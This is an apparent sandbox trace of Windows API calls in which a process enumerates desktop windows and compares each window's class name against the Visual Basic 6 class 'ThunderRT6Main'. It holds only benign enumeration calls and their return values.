	[0058.734] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.734] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0058.734] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0058.734] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0058.734] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0058.734] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.734] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.734] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.734] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0058.734] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0058.734] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0058.734] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0058.734] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.734] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.734] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.734] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0058.734] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0058.734] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0058.734] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0058.734] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.734] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.734] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.734] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0058.734] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0058.734] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0058.734] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0058.734] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.734] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.734] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.734] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0058.734] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0058.734] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0058.734] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0058.734] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0058.735] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.735] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0058.735] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0058.735] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0058.735] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0058.735] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0058.735] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0058.735] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0058.735] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0058.735] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.735] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0058.735] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0058.735] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0058.735] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0058.735] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0058.735] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0058.735] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0058.735] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0058.735] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0058.735] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0058.735] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.735] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0058.735] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0058.735] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0058.735] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0058.735] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.735] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0058.735] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0058.736] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0058.736] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0058.736] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0058.736] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0058.736] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0058.736] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0058.736] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0058.736] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0058.736] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0058.736] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0058.736] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0058.736] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0058.736] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0058.736] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0058.736] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0058.736] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0058.736] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0058.736] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0058.736] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0058.736] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0058.736] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0058.736] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0058.736] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0058.736] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0058.736] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0058.737] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0058.737] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0058.737] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0058.737] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0058.737] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0058.737] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0058.737] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0058.737] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0058.737] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0058.737] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0058.737] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0058.737] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0058.737] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0058.737] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0058.737] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0058.737] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0058.737] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0058.737] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0058.737] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0058.738] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0058.738] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0058.738] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0058.738] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0058.738] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0058.738] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0058.738] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0058.738] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0058.738] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0058.738] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0058.738] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0058.738] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0058.738] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0058.738] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0058.738] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0058.738] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0058.738] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0058.738] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0058.738] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0058.738] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0058.738] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0058.738] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0058.739] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0058.739] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0058.739] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0058.739] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0058.739] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0058.739] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0058.739] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0058.739] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0058.739] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0058.739] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0058.739] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0058.739] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0058.739] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0058.739] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0058.739] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0058.739] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0058.739] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0058.739] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0058.739] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0058.739] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0058.739] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.739] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0058.739] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0058.739] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0058.740] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0058.740] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0058.740] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.740] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0058.740] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0058.740] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0058.740] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0058.740] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0058.740] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0058.740] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0058.740] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0058.740] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0058.740] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0058.740] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0058.740] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0058.740] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0058.740] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0058.740] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0058.740] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0058.740] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0058.740] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.740] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0058.740] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0058.740] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0058.740] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0058.740] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0058.740] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0058.740] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.741] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0058.741] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0058.741] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0058.741] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0058.741] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0058.741] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.741] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0058.741] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0058.741] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.741] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0058.741] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0058.741] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.741] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0058.741] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
